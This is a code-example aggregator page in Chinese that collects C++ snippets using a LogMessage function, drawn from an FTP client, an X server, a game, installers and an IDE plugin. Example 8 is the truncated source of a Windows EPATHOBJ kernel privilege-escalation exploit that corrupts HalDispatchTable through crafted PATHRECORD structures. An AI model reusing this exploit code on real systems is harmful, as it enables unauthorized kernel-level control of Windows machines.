本文整理汇总了C++中LogMessage函数的典型用法代码示例。如果您正苦于以下问题:C++ LogMessage函数的具体用法?C++ LogMessage怎么用?C++ LogMessage使用的例子?那么, 这里精选的函数代码示例或许可以为您提供帮助。
在下文中一共展示了LogMessage函数的15个代码示例,这些例子默认根据受欢迎程度排序。您可以为喜欢或者感觉有用的代码点赞,您的评价将有助于系统推荐出更棒的C++代码示例。
示例1: switch
// MHTTPTransactionCallback interface functions
void CXmlHandler::MHFRunL(RHTTPTransaction aTransaction, const THTTPEvent& aEvent)
{
switch (aEvent.iStatus)
{
case THTTPEvent::EGotResponseHeaders:
{
iObserver.GIEStateChanged(eStateFoundServer);
iModel.iState = eStateFoundServer;
/*
Not interested in the received header
*/
}
break;
case THTTPEvent::EGotResponseBodyData:
{
#ifdef _INCREMENTAL_H
#else
/*
The non incremental version of the parser will just build
up a string of the data until the EReponseComplete code is
received. Then the string is sent to parser in one go
*/
RHTTPResponse response = aTransaction.Response();
MHTTPDataSupplier* bodyPtr = response.Body();
/*
Received data is appended to the existing block (if there is a block),
otherwise a new block is created
*/
TPtrC8 bodypart;
bodyPtr->GetNextDataPart(bodypart);
if (iQueryResponse == NULL)
{
iQueryResponse = HBufC8::NewL( bodypart.Length() );
}
else
{
const TInt newSize = iQueryResponse->Length() + bodypart.Length();
iQueryResponse = iQueryResponse->ReAllocL( newSize );
}
TPtr8 tmp = iQueryResponse->Des();
tmp.Append(bodypart);
bodyPtr->ReleaseData();
#endif
}
break;
case THTTPEvent::EResponseComplete:
{
iObserver.GIEStateChanged(eStateReceivedResponse);
iModel.iState = eStateReceivedResponse;
#ifdef _INCREMENTAL_H
#else
#ifdef LOG_RESONSE
LogMessage(iFs, KResponseFilename, *iQueryResponse);
#endif
/*
Data block ready. Parse and fill data model
*/
OneTripParse(iQueryResponse->Des(), iModel.iError, iModel.iResult, iModel.iItems);
#endif
CleanupQueryText();
iObserver.GIEStateChanged(eStateComplete);
iModel.iState = eStateComplete;
}
break;
case THTTPEvent::ESucceeded:
{
// transaction successful
// we do not do this in the response complete phase or error
// phase as it is nicer to break it up because if the parser
// is working non incrementally we have potientionally done
// a lot of work in the ReponseComplete phase
iObserver.GIEStateChanged(eStateComplete);
iModel.iState = eStateComplete;
}
break;
case THTTPEvent::EFailed:
{
// Transaction failed
MHFRunError(aEvent.iStatus, aTransaction, aEvent);
}
break;
default:
{
/*
All errors will fall through to the generic event handler
The only exceptional error handling is done when the soap
request itself fails and it reports an error
*/
MHFRunError(aEvent.iStatus, aTransaction, aEvent);
}
break;
//.........这里部分代码省略.........
示例2: LogMessage
int CControlSocket::ResetOperation(int nErrorCode)
{
LogMessage(Debug_Verbose, _T("CControlSocket::ResetOperation(%d)"), nErrorCode);
if (nErrorCode & FZ_REPLY_WOULDBLOCK)
{
LogMessage(::Debug_Warning, _T("ResetOperation with FZ_REPLY_WOULDBLOCK in nErrorCode (%d)"), nErrorCode);
}
if (m_pCurOpData && m_pCurOpData->holdsLock)
UnlockCache();
if (m_pCurOpData && m_pCurOpData->pNextOpData)
{
COpData *pNext = m_pCurOpData->pNextOpData;
m_pCurOpData->pNextOpData = 0;
delete m_pCurOpData;
m_pCurOpData = pNext;
if (nErrorCode == FZ_REPLY_OK ||
nErrorCode == FZ_REPLY_ERROR ||
nErrorCode == FZ_REPLY_CRITICALERROR)
{
return ParseSubcommandResult(nErrorCode);
}
else
return ResetOperation(nErrorCode);
}
if ((nErrorCode & FZ_REPLY_CRITICALERROR) == FZ_REPLY_CRITICALERROR)
LogMessage(::Error, _("Critical error"));
if (m_pCurOpData)
{
const enum Command commandId = m_pCurOpData->opId;
switch (commandId)
{
case cmd_none:
break;
case cmd_connect:
if ((nErrorCode & FZ_REPLY_CANCELED) == FZ_REPLY_CANCELED)
LogMessage(::Error, _("Connection attempt interrupted by user"));
else if (nErrorCode != FZ_REPLY_OK)
LogMessage(::Error, _("Could not connect to server"));
break;
case cmd_list:
if ((nErrorCode & FZ_REPLY_CANCELED) == FZ_REPLY_CANCELED)
LogMessage(::Error, _("Directory listing aborted by user"));
else if (nErrorCode != FZ_REPLY_OK)
LogMessage(::Error, _("Failed to retrieve directory listing"));
else
LogMessage(Status, _("Directory listing successful"));
break;
case cmd_transfer:
{
CFileTransferOpData *pData = static_cast<CFileTransferOpData *>(m_pCurOpData);
if (!pData->download && pData->transferInitiated)
{
if (!m_pCurrentServer)
LogMessage(__TFILE__, __LINE__, this, Debug_Warning, _T("m_pCurrentServer is 0"));
else
{
CDirectoryCache cache;
bool updated = cache.UpdateFile(*m_pCurrentServer, pData->remotePath, pData->remoteFile, true, CDirectoryCache::file, (nErrorCode == FZ_REPLY_OK) ? pData->localFileSize : -1);
if (updated)
m_pEngine->SendDirectoryListingNotification(pData->remotePath, false, true, false);
}
}
if ((nErrorCode & FZ_REPLY_CANCELED) == FZ_REPLY_CANCELED)
LogMessage(::Error, _("Transfer aborted by user"));
else if (nErrorCode == FZ_REPLY_OK)
LogMessage(Status, _("File transfer successful"));
}
break;
default:
if ((nErrorCode & FZ_REPLY_CANCELED) == FZ_REPLY_CANCELED)
LogMessage(::Error, _("Interrupted by user"));
break;
}
delete m_pCurOpData;
m_pCurOpData = 0;
}
ResetTransferStatus();
SetWait(false);
if (m_invalidateCurrentPath)
{
m_CurrentPath.Clear();
m_invalidateCurrentPath = false;
}
return m_pEngine->ResetOperation(nErrorCode);
}
示例3: memset
/////////////////////////////////////////////////////////////////////
//
// Function:
//
// Description:
//
/////////////////////////////////////////////////////////////////////
UINT CACCConfigMd5sum::OnExecution()
{
tstring strDataDirectory;
tstring strInstallDirectory;
tstring strLocation;
TCHAR contents[8196];
UINT uiReturnValue = 0;
TCHAR szMessage[16392];
FILE *file;
memset(&contents,'\0',sizeof(contents));
SetProperty(_T("KEEPEXISTINGCONFIG"), _T("0"));
uiReturnValue = GetProperty( _T("INSTALLDIR"), strInstallDirectory );
if ( uiReturnValue ) return uiReturnValue;
if (strInstallDirectory.rfind('\\') != strInstallDirectory.size() - 1 ) {
strInstallDirectory = strInstallDirectory + _T("\\");
_sntprintf(szMessage,sizeof(szMessage),_T("Added trailing slash to install dir"),strLocation.c_str());
LogMessage(INSTALLMESSAGE_INFO,NULL, NULL,NULL,NULL,szMessage);
}
uiReturnValue = GetProperty( _T("DATADIR"), strDataDirectory );
if ( uiReturnValue ) return uiReturnValue;
if (strDataDirectory.rfind('\\') != strDataDirectory.size() - 1 ) {
strDataDirectory = strDataDirectory + _T("\\");
_sntprintf(szMessage,sizeof(szMessage),_T("Added trailing slash to data dir"),strLocation.c_str());
LogMessage(INSTALLMESSAGE_INFO,NULL, NULL,NULL,NULL,szMessage);
}
// Figure out of the file is in the data directory or the install directory
// it should be in the data directory, but if it isn't we will check the install directory
strLocation = strDataDirectory + _T("cc_config.xml");
file = _tfopen(strLocation.c_str(), _T("r"));
if ( file == NULL ) {
_sntprintf(szMessage,sizeof(szMessage),_T("fopen: Error Message '%s': '%s'"),strerror(errno),strLocation.c_str());
LogMessage(INSTALLMESSAGE_INFO,NULL, NULL,NULL,NULL,szMessage);
strLocation = strInstallDirectory + _T("cc_config.xml");
file = _tfopen(strLocation.c_str(), _T("r"));
if ( file == NULL ) {
_sntprintf(szMessage,sizeof(szMessage),_T("fopen: Error Message '%s': '%s'"),strerror(errno),strLocation.c_str());
LogMessage(INSTALLMESSAGE_INFO,NULL, NULL,NULL,NULL,szMessage);
return ERROR_SUCCESS;
} else {
_sntprintf(szMessage,sizeof(szMessage),_T("fopen: File found at: '%s'"),strLocation.c_str());
LogMessage(INSTALLMESSAGE_INFO,NULL, NULL,NULL,NULL,szMessage);
}
} else {
_sntprintf(szMessage,sizeof(szMessage),_T("fopen: File found at: '%s'"),strLocation.c_str());
LogMessage(INSTALLMESSAGE_INFO,NULL, NULL,NULL,NULL,szMessage);
}
int bytesread = (int) fread(&contents, sizeof(char), sizeof(contents), file);
if ( bytesread > 0 && bytesread < sizeof(char) ) {
contents[bytesread]='\0';
}
if ( !feof(file) ) {
_sntprintf(szMessage,sizeof(szMessage),_T("File is more than 8kb: '%s'"),strLocation);
LogMessage(INSTALLMESSAGE_INFO,NULL, NULL,NULL,NULL,szMessage);
fclose(file);
return ERROR_SUCCESS;
}
if ( ferror(file) ) {
_sntprintf(szMessage,sizeof(szMessage),_T("Error reading file at: '%s'"),strLocation);
LogMessage(INSTALLMESSAGE_INFO,NULL, NULL,NULL,NULL,szMessage);
return ERROR_FILE_INVALID;
}
fclose(file);
remove_white(contents);
_sntprintf(szMessage,sizeof(szMessage),_T("File contents: '%s'"),contents);
LogMessage(INSTALLMESSAGE_INFO,NULL, NULL,NULL,NULL,szMessage);
if ( CheckFile(contents) ) {
if ( DeleteFile(strLocation.c_str()) ) {
_sntprintf(szMessage,sizeof(szMessage),_T("Failed to delete CCConfig version from previous install. Error Message '%s'"),strerror(errno));
LogMessage(INSTALLMESSAGE_INFO,NULL, NULL,NULL,NULL,szMessage);
return ERROR_FAIL_I24;
}
_sntprintf(szMessage,sizeof(szMessage),_T("CCConfig was a version from previous install. Deleted"));
LogMessage(INSTALLMESSAGE_INFO,NULL, NULL,NULL,NULL,szMessage);
return ERROR_SUCCESS;
}
_sntprintf(szMessage,sizeof(szMessage),_T("CCConfig was not a version from previous install"));
SetProperty(_T("KEEPEXISTINGCONFIG"), _T("1"));
LogMessage(INSTALLMESSAGE_INFO,NULL, NULL,NULL,NULL,szMessage);
return ERROR_SUCCESS;
}
示例4: switch
float Player::CalcDamage(int weapon_damage, int subcat, bool *critical)
{
const short FRACTION_MULTIPLIER = 10000; //This value determines how many decimals of a percent are kept for rolling damage tables.
const short FRACTION_FIXUP = 100;
float damage_bonus;
float damage_inflicted;
short critical_chance = 5 * FRACTION_FIXUP; //5%
short miss_chance = 5 * FRACTION_FIXUP; //5% , miss_chance of 0 = never miss.
//This calculates a different crit value for any class that should have critical targeting.
critical_chance += (short)
( (m_Stats.GetStatType(STAT_CRITICAL_RATE, STAT_BUFF_MULT)*FRACTION_MULTIPLIER) +
(m_Stats.GetStatType(STAT_CRITICAL_RATE, STAT_BUFF_VALUE)*FRACTION_FIXUP) );
if(FRACTION_MULTIPLIER-critical_chance < 0)
{
critical_chance = 0; //100% crits, when you hit.
}
//TO-DO: compute miss_chance based on weapon skill + buffs
// Get Damage bonus by weapon type
switch(subcat)
{
case 100: // Beam
damage_bonus = 1.0f + m_Stats.GetStatType(STAT_BEAM_DAMAGE, STAT_BUFF_MULT);
//can't call CalculateStat because STAT_BASE_VALUE = 0, and so any % modifiers would be lost
miss_chance -= (short)
( (m_Stats.GetStatType(STAT_BEAM_ACCURACY, STAT_BUFF_MULT)*FRACTION_MULTIPLIER) +
(m_Stats.GetStatType(STAT_BEAM_ACCURACY, STAT_BUFF_VALUE)*FRACTION_FIXUP) );
break;
case 101: // Projectile
damage_bonus = 1.0f + m_Stats.GetStatType(STAT_PROJECTILES_DAMAGE, STAT_BUFF_MULT);
//can't call CalculateStat because STAT_BASE_VALUE = 0, and so any % modifiers would be lost
miss_chance -= (short)
( (m_Stats.GetStatType(STAT_PROJECTILES_ACCURACY, STAT_BUFF_MULT)*FRACTION_MULTIPLIER) +
(m_Stats.GetStatType(STAT_PROJECTILES_ACCURACY, STAT_BUFF_VALUE)*FRACTION_FIXUP) );
break;
case 102: // Missiles
damage_bonus = 1.0f + m_Stats.GetStatType(STAT_MISSILE_DAMAGE, STAT_BUFF_MULT);
//can't call CalculateStat because STAT_BASE_VALUE = 0, and so any % modifiers would be lost
miss_chance -= (short)
( (m_Stats.GetStatType(STAT_MISSILE_ACCURACY, STAT_BUFF_MULT)*FRACTION_MULTIPLIER) +
(m_Stats.GetStatType(STAT_MISSILE_ACCURACY, STAT_BUFF_VALUE)*FRACTION_FIXUP) );
break;
default:
LogMessage("ERROR: Weapon subcategory [%d] wrong for %s\n", subcat, Name());
damage_bonus = 0.0f;
break;
}
//find the base weapon damage, first have we got a critical or missed?
short to_hit = (rand() % FRACTION_MULTIPLIER) + 1;
float damage_fraction = 1.0f;
//This system rolls a number, and then determines which category of damage it falls into.
//It is still possible to miss with a 100% crit rate. It is possible to miss on a crit.
if (to_hit <= miss_chance)
{
//Weapon missed, damage zero
damage_bonus = 0;
}
else if (to_hit >= FRACTION_MULTIPLIER-critical_chance)
{
//Critical!! Double damage
damage_bonus = damage_bonus * 2.0f;
*critical = true;
}
//IMPLIED else: did normal damage.
//TO-DO: Put in fractional damage FOR BEAMS ONLY, and also DOTs for Chemical/Plasma damage.
//Now calculate the damage based on weapon base damage and bonus.
damage_inflicted = damage_fraction * (float)(weapon_damage) * damage_bonus;
return (damage_inflicted);
}
示例5: wxASSERT
bool CControlSocket::SetFileExistsAction(CFileExistsNotification *pFileExistsNotification)
{
wxASSERT(pFileExistsNotification);
if (!m_pCurOpData || m_pCurOpData->opId != cmd_transfer)
{
LogMessage(__TFILE__, __LINE__, this, Debug_Info, _T("No or invalid operation in progress, ignoring request reply %f"), pFileExistsNotification->GetRequestID());
return false;
}
CFileTransferOpData *pData = static_cast<CFileTransferOpData *>(m_pCurOpData);
switch (pFileExistsNotification->overwriteAction)
{
case CFileExistsNotification::overwrite:
SendNextCommand();
break;
case CFileExistsNotification::overwriteNewer:
if (!pFileExistsNotification->localTime.IsValid() || !pFileExistsNotification->remoteTime.IsValid())
SendNextCommand();
else if (pFileExistsNotification->download && pFileExistsNotification->localTime.IsEarlierThan(pFileExistsNotification->remoteTime))
SendNextCommand();
else if (!pFileExistsNotification->download && pFileExistsNotification->localTime.IsLaterThan(pFileExistsNotification->remoteTime))
SendNextCommand();
else
{
if (pData->download)
{
wxString filename = pData->remotePath.FormatFilename(pData->remoteFile);
LogMessage(Status, _("Skipping download of %s"), filename.c_str());
}
else
{
LogMessage(Status, _("Skipping upload of %s"), pData->localFile.c_str());
}
ResetOperation(FZ_REPLY_OK);
}
break;
case CFileExistsNotification::overwriteSize:
/* First compare flags both size known but different, one size known and the other not (obviously they are different).
Second compare flags the remaining case in which we need to send command : both size unknown */
if ((pFileExistsNotification->localSize != pFileExistsNotification->remoteSize) || (pFileExistsNotification->localSize == -1))
SendNextCommand();
else
{
if (pData->download)
{
wxString filename = pData->remotePath.FormatFilename(pData->remoteFile);
LogMessage(Status, _("Skipping download of %s"), filename.c_str());
}
else
{
LogMessage(Status, _("Skipping upload of %s"), pData->localFile.c_str());
}
ResetOperation(FZ_REPLY_OK);
}
break;
case CFileExistsNotification::overwriteSizeOrNewer:
if (!pFileExistsNotification->localTime.IsValid() || !pFileExistsNotification->remoteTime.IsValid())
SendNextCommand();
/* First compare flags both size known but different, one size known and the other not (obviously they are different).
Second compare flags the remaining case in which we need to send command : both size unknown */
else if ((pFileExistsNotification->localSize != pFileExistsNotification->remoteSize) || (pFileExistsNotification->localSize == -1))
SendNextCommand();
else if (pFileExistsNotification->download && pFileExistsNotification->localTime.IsEarlierThan(pFileExistsNotification->remoteTime))
SendNextCommand();
else if (!pFileExistsNotification->download && pFileExistsNotification->localTime.IsLaterThan(pFileExistsNotification->remoteTime))
SendNextCommand();
else
{
if (pData->download)
{
wxString filename = pData->remotePath.FormatFilename(pData->remoteFile);
LogMessage(Status, _("Skipping download of %s"), filename.c_str());
}
else
{
LogMessage(Status, _("Skipping upload of %s"), pData->localFile.c_str());
}
ResetOperation(FZ_REPLY_OK);
}
break;
case CFileExistsNotification::resume:
if (pData->download && pData->localFileSize != -1)
pData->resume = true;
else if (!pData->download && pData->remoteFileSize != -1)
pData->resume = true;
SendNextCommand();
break;
case CFileExistsNotification::rename:
if (pData->download)
{
wxFileName fn = pData->localFile;
fn.SetFullName(pFileExistsNotification->newName);
pData->localFile = fn.GetFullPath();
wxLongLong size;
bool isLink;
if (CLocalFileSystem::GetFileInfo(pData->localFile, isLink, &size, 0, 0) == CLocalFileSystem::file)
pData->localFileSize = size.GetValue();
//.........这里部分代码省略.........
示例6: MakeNSISProc
DWORD WINAPI MakeNSISProc(LPVOID p) {
char buf[1024];
STARTUPINFO si={sizeof(si),};
SECURITY_ATTRIBUTES sa={sizeof(sa),};
SECURITY_DESCRIPTOR sd={0,};
PROCESS_INFORMATION pi={0,};
HANDLE newstdout=0,read_stdout=0;
OSVERSIONINFO osv={sizeof(osv)};
GetVersionEx(&osv);
if (osv.dwPlatformId == VER_PLATFORM_WIN32_NT) {
InitializeSecurityDescriptor(&sd,SECURITY_DESCRIPTOR_REVISION);
SetSecurityDescriptorDacl(&sd,true,NULL,false);
sa.lpSecurityDescriptor = &sd;
}
else sa.lpSecurityDescriptor = NULL;
sa.bInheritHandle = true;
if (!CreatePipe(&read_stdout,&newstdout,&sa,0)) {
ErrorMessage(g_hwnd,"There was an error creating the pipe.");
PostMessage(g_hwnd,WM_MAKENSIS_PROCESSCOMPLETE,0,0);
return 1;
}
GetStartupInfo(&si);
si.dwFlags = STARTF_USESTDHANDLES|STARTF_USESHOWWINDOW;
si.wShowWindow = SW_HIDE;
si.hStdOutput = newstdout;
si.hStdError = newstdout;
if (!CreateProcess(NULL,g_script,NULL,NULL,TRUE,CREATE_NEW_CONSOLE,NULL,NULL,&si,&pi)) {
char buf[MAX_STRING];
wsprintf(buf,"Could not execute:\r\n %s.",g_script);
ErrorMessage(g_hwnd,buf);
CloseHandle(newstdout);
CloseHandle(read_stdout);
PostMessage(g_hwnd,WM_MAKENSIS_PROCESSCOMPLETE,0,0);
return 1;
}
unsigned long exit=0,read,avail;
my_memset(buf,0,sizeof(buf));
while(1) {
PeekNamedPipe(read_stdout,buf,sizeof(buf)-1,&read,&avail,NULL);
if (read != 0) {
my_memset(buf,0,sizeof(buf));
if (avail > sizeof(buf)-1) {
while (read >= sizeof(buf)-1) {
ReadFile(read_stdout,buf,sizeof(buf)-1,&read,NULL);
LogMessage(g_hwnd,buf);
my_memset(buf,0,sizeof(buf));
}
}
else {
ReadFile(read_stdout,buf,sizeof(buf),&read,NULL);
LogMessage(g_hwnd,buf);
}
}
GetExitCodeProcess(pi.hProcess,&exit);
if (exit != STILL_ACTIVE) break;
Sleep(TIMEOUT);
}
g_retcode = exit;
CloseHandle(pi.hThread);
CloseHandle(pi.hProcess);
CloseHandle(newstdout);
CloseHandle(read_stdout);
PostMessage(g_hwnd,WM_MAKENSIS_PROCESSCOMPLETE,0,0);
return 0;
}
示例7: GlxExtensionInit
/*
** Initialize the GLX extension.
*/
void
GlxExtensionInit(void)
{
ExtensionEntry *extEntry;
ScreenPtr pScreen;
int i;
__GLXprovider *p, **stack;
Bool glx_provided = False;
if (serverGeneration == 1) {
for (stack = &__glXProviderStack; *stack; stack = &(*stack)->next)
;
*stack = &__glXDRISWRastProvider;
}
__glXContextRes = CreateNewResourceType((DeleteType) ContextGone,
"GLXContext");
__glXDrawableRes = CreateNewResourceType((DeleteType) DrawableGone,
"GLXDrawable");
if (!__glXContextRes || !__glXDrawableRes)
return;
if (!dixRegisterPrivateKey
(&glxClientPrivateKeyRec, PRIVATE_CLIENT, sizeof(__GLXclientState)))
return;
if (!AddCallback(&ClientStateCallback, glxClientCallback, 0))
return;
for (i = 0; i < screenInfo.numScreens; i++) {
pScreen = screenInfo.screens[i];
for (p = __glXProviderStack; p != NULL; p = p->next) {
__GLXscreen *glxScreen;
glxScreen = p->screenProbe(pScreen);
if (glxScreen != NULL) {
if (glxScreen->GLXminor < glxMinorVersion)
glxMinorVersion = glxScreen->GLXminor;
LogMessage(X_INFO,
"GLX: Initialized %s GL provider for screen %d\n",
p->name, i);
break;
}
}
if (!p)
LogMessage(X_INFO,
"GLX: no usable GL providers found for screen %d\n", i);
else
glx_provided = True;
}
/* don't register extension if GL is not provided on any screen */
if (!glx_provided)
return;
/*
** Add extension to server extensions.
*/
extEntry = AddExtension(GLX_EXTENSION_NAME, __GLX_NUMBER_EVENTS,
__GLX_NUMBER_ERRORS, __glXDispatch,
__glXDispatch, ResetExtension, StandardMinorOpcode);
if (!extEntry) {
FatalError("__glXExtensionInit: AddExtensions failed\n");
return;
}
if (!AddExtensionAlias(GLX_EXTENSION_ALIAS, extEntry)) {
ErrorF("__glXExtensionInit: AddExtensionAlias failed\n");
return;
}
__glXErrorBase = extEntry->errorBase;
__glXEventBase = extEntry->eventBase;
#if PRESENT
__glXregisterPresentCompleteNotify();
#endif
}
示例8: main
int main(int argc, char **argv)
{
HANDLE Thread;
HDC Device;
ULONG Size;
ULONG PointNum;
HMODULE KernelHandle;
PULONG DispatchRedirect;
PULONG Interval;
ULONG SavedInterval;
RTL_PROCESS_MODULES ModuleInfo;
LogMessage(L_INFO, "\r--------------------------------------------------\n"
"\rWindows NT/2K/XP/2K3/VISTA/2K8/7/8 EPATHOBJ local ring0 exploit\n"
"\r------------------- taviso () cmpxchg8b com, programmeboy () gmail com ---\n"
"\n");
NtQueryIntervalProfile = GetProcAddress(GetModuleHandle("ntdll"), "NtQueryIntervalProfile");
NtQuerySystemInformation = GetProcAddress(GetModuleHandle("ntdll"), "NtQuerySystemInformation");
Mutex = CreateMutex(NULL, FALSE, NULL);
DispatchRedirect = (PVOID) HalDispatchRedirect;
Interval = (PULONG) ShellCode;
SavedInterval = Interval[0];
TargetPid = GetCurrentProcessId();
LogMessage(L_INFO, "NtQueryIntervalProfile () %p", NtQueryIntervalProfile);
LogMessage(L_INFO, "NtQuerySystemInformation () %p", NtQuerySystemInformation);
// Lookup the address of system modules.
NtQuerySystemInformation(SystemModuleInformation,
&ModuleInfo,
sizeof ModuleInfo,
NULL);
LogMessage(L_DEBUG, "NtQuerySystemInformation() => %s () %p",
ModuleInfo.Modules[0].FullPathName,
ModuleInfo.Modules[0].ImageBase);
// Lookup some system routines we require.
KernelHandle = LoadLibrary(ModuleInfo.Modules[0].FullPathName + ModuleInfo.Modules[0].OffsetToFileName);
HalDispatchTable = (ULONG) GetProcAddress(KernelHandle, "HalDispatchTable") - (ULONG) KernelHandle + (ULONG) ModuleInfo.Modules[0].ImageBase;
PsInitialSystemProcess = (ULONG) GetProcAddress(KernelHandle, "PsInitialSystemProcess") - (ULONG) KernelHandle + (ULONG) ModuleInfo.Modules[0].ImageBase;
PsReferencePrimaryToken = (ULONG) GetProcAddress(KernelHandle, "PsReferencePrimaryToken") - (ULONG) KernelHandle + (ULONG) ModuleInfo.Modules[0].ImageBase;
PsLookupProcessByProcessId = (ULONG) GetProcAddress(KernelHandle, "PsLookupProcessByProcessId") - (ULONG) KernelHandle + (ULONG) ModuleInfo.Modules[0].ImageBase;
// Search for a ret instruction to install in the damaged HalDispatchTable.
HalQuerySystemInformation = (ULONG) memchr(KernelHandle, 0xC3, ModuleInfo.Modules[0].ImageSize)
- (ULONG) KernelHandle
+ (ULONG) ModuleInfo.Modules[0].ImageBase;
LogMessage(L_INFO, "Discovered a ret instruction at %p", HalQuerySystemInformation);
// Create our PATHRECORD in user space we will get added to the EPATHOBJ
// pathrecord chain.
PathRecord = VirtualAlloc(NULL,
sizeof *PathRecord,
MEM_COMMIT | MEM_RESERVE,
PAGE_EXECUTE_READWRITE);
LogMessage(L_INFO, "Allocated userspace PATHRECORD () %p", PathRecord);
// You need the PD_BEZIERS flag to enter EPATHOBJ::pprFlattenRec() from
// EPATHOBJ::bFlatten(). We don't set it so that we can trigger an infinite
// loop in EPATHOBJ::bFlatten().
PathRecord->flags = 0;
PathRecord->next = PathRecord;
PathRecord->prev = (PPATHRECORD)(0x42424242);
LogMessage(L_INFO, " ->next @ %p", PathRecord->next);
LogMessage(L_INFO, " ->prev @ %p", PathRecord->prev);
LogMessage(L_INFO, " ->flags @ %u", PathRecord->flags);
// Now we need to create a PATHRECORD at an address that is also a valid
// x86 instruction, because the pointer will be interpreted as a function.
// I've created a list of candidates in DispatchRedirect.
LogMessage(L_INFO, "Searching for an available stub address...");
// I need to map at least two pages to guarantee the whole structure is
// available.
while (!VirtualAlloc(*DispatchRedirect & ~(PAGE_SIZE - 1),
PAGE_SIZE * 2,
MEM_COMMIT | MEM_RESERVE,
PAGE_EXECUTE_READWRITE)) {
LogMessage(L_WARN, "\tVirtualAlloc(%#x) => %#x",
*DispatchRedirect & ~(PAGE_SIZE - 1),
GetLastError());
// This page is not available, try the next candidate.
if (!*++DispatchRedirect) {
LogMessage(L_ERROR, "No redirect candidates left, sorry!");
return 1;
}
}
LogMessage(L_INFO, "Success, ExploitRecordExit () %#0x", *DispatchRedirect);
// This PATHRECORD must terminate the list and recover.
ExploitRecordExit = (PPATHRECORD) *DispatchRedirect;
ExploitRecordExit->next = NULL;
//.........这里部分代码省略.........
示例9: OnSetTarget
void ShellExtensions::OnRunTarget(wxCommandEvent& event)
{
int ID=event.GetId();
wxString commandstr;
wxString consolename;
wxString workingdir;
bool windowed=false;
bool console=false;
if(ID>=ID_ContextMenu_0&&ID<=ID_ContextMenu_49)
{
m_interpnum=m_contextvec[ID-ID_ContextMenu_0];
commandstr=m_ic.interps[m_interpnum].command;
consolename=m_ic.interps[m_interpnum].name;
windowed=(m_ic.interps[m_interpnum].mode==_("W"));
console=(m_ic.interps[m_interpnum].mode==_("C"));
workingdir=m_ic.interps[m_interpnum].wdir;
} else
if(ID>=ID_SubMenu_0&&ID<=ID_SubMenu_49)
{
m_interpnum=ID-ID_SubMenu_0;
commandstr=m_ic.interps[m_interpnum].command;
consolename=m_ic.interps[m_interpnum].name;
windowed=(m_ic.interps[m_interpnum].mode==_("W"));
console=(m_ic.interps[m_interpnum].mode==_("C"));
workingdir=m_ic.interps[m_interpnum].wdir;
m_wildcard=m_ic.interps[m_interpnum].wildcards;
if(m_ic.interps[m_interpnum].command.Find(_T("$file"))>0 ||
m_ic.interps[m_interpnum].command.Find(_T("$path"))>0)
{
OnSetTarget(event);
if(!wxFileName::FileExists(m_RunTarget))
{
LogMessage(_("ShellExtensions: ")+m_RunTarget+_(" not found"));
return;
}
}
if(m_ic.interps[m_interpnum].command.Find(_T("$dir"))>0)
{
OnSetDirTarget(event);
if(!wxFileName::DirExists(m_RunTarget))
{
LogMessage(_("Shell Extensions: ")+m_RunTarget+_(" not found"));
return;
}
if(m_RunTarget==_T(""))
return;
}
if(m_ic.interps[m_interpnum].command.Find(_T("$mpaths"))>0)
{
OnSetMultiTarget(event);
if(m_RunTarget==_T(""))
return;
}
}
else
{
LogMessage(wxString::Format(_T("WARNING: Unprocessed ShellCommand Menu Message: ID %i, IDbase %i, IDend %i, num items on menu %i"),ID,ID_ContextMenu_0,ID_ContextMenu_49,(int)m_contextvec.size()));
return;
}
m_RunTarget.Replace(_T("*"),_T(" "));
bool setdir=true;
commandstr.Replace(_T("$file"),wxFileName(m_RunTarget).GetShortPath());
commandstr.Replace(_T("$relfile"),wxFileName(m_RunTarget).GetFullName());
commandstr.Replace(_T("$fname"),wxFileName(m_RunTarget).GetName());
commandstr.Replace(_T("$fext"),wxFileName(m_RunTarget).GetExt());
commandstr.Replace(_T("$dir"),wxFileName(m_RunTarget).GetShortPath());
commandstr.Replace(_T("$reldir"),wxFileName(m_RunTarget).GetFullName());
commandstr.Replace(_T("$path"),wxFileName(m_RunTarget).GetShortPath());
commandstr.Replace(_T("$relpath"),wxFileName(m_RunTarget).GetFullPath());
if(commandstr.Replace(_T("$mpaths"),m_RunTarget)>0)
setdir=false;
// substitute user prompted values in the format: $inputstr{Enter your message}
int promptind=commandstr.Find(_T("$inputstr{"));
wxString substitution;
while(promptind>=0)
{
int promptend=commandstr.Mid(promptind+10).Find(_T("}"));
if(promptend<=0)
{
cbMessageBox(_T("Malformed $inputstr in command line -- no closing '}' found: ")+commandstr);
return;
}
else
promptend++;
wxTextEntryDialog ted(NULL,commandstr.Mid(promptind+10,promptend-1),consolename,_T(""),wxOK|wxCANCEL);
if(ted.ShowModal()==wxID_OK)
substitution=ted.GetValue();
else
return;
commandstr=commandstr.Left(promptind)+substitution+commandstr.Mid(promptind+10+promptend);
int nextind=commandstr.Mid(promptind+substitution.Len()).Find(_T("$inputstr"));
if(nextind>=0)
promptind+=nextind+substitution.Len();
else
promptind=-1;
}
//.........这里部分代码省略.........
示例10: connect_hook
static void
connect_hook(DBusConnection *connection, void *data)
{
struct systemd_logind_info *info = data;
DBusError error;
DBusMessage *msg = NULL;
DBusMessage *reply = NULL;
dbus_int32_t arg;
char *session = NULL;
dbus_error_init(&error);
msg = dbus_message_new_method_call("org.freedesktop.login1",
"/org/freedesktop/login1", "org.freedesktop.login1.Manager",
"GetSessionByPID");
if (!msg) {
LogMessage(X_ERROR, "systemd-logind: out of memory\n");
goto cleanup;
}
arg = getpid();
if (!dbus_message_append_args(msg, DBUS_TYPE_UINT32, &arg,
DBUS_TYPE_INVALID)) {
LogMessage(X_ERROR, "systemd-logind: out of memory\n");
goto cleanup;
}
reply = dbus_connection_send_with_reply_and_block(connection, msg,
DBUS_TIMEOUT_USE_DEFAULT, &error);
if (!reply) {
LogMessage(X_ERROR, "systemd-logind: failed to get session: %s\n",
error.message);
goto cleanup;
}
dbus_message_unref(msg);
if (!dbus_message_get_args(reply, &error, DBUS_TYPE_OBJECT_PATH, &session,
DBUS_TYPE_INVALID)) {
LogMessage(X_ERROR, "systemd-logind: GetSessionByPID: %s\n",
error.message);
goto cleanup;
}
session = XNFstrdup(session);
dbus_message_unref(reply);
reply = NULL;
msg = dbus_message_new_method_call("org.freedesktop.login1",
session, "org.freedesktop.login1.Session", "TakeControl");
if (!msg) {
LogMessage(X_ERROR, "systemd-logind: out of memory\n");
goto cleanup;
}
arg = FALSE; /* Don't forcibly take over over the session */
if (!dbus_message_append_args(msg, DBUS_TYPE_BOOLEAN, &arg,
DBUS_TYPE_INVALID)) {
LogMessage(X_ERROR, "systemd-logind: out of memory\n");
goto cleanup;
}
reply = dbus_connection_send_with_reply_and_block(connection, msg,
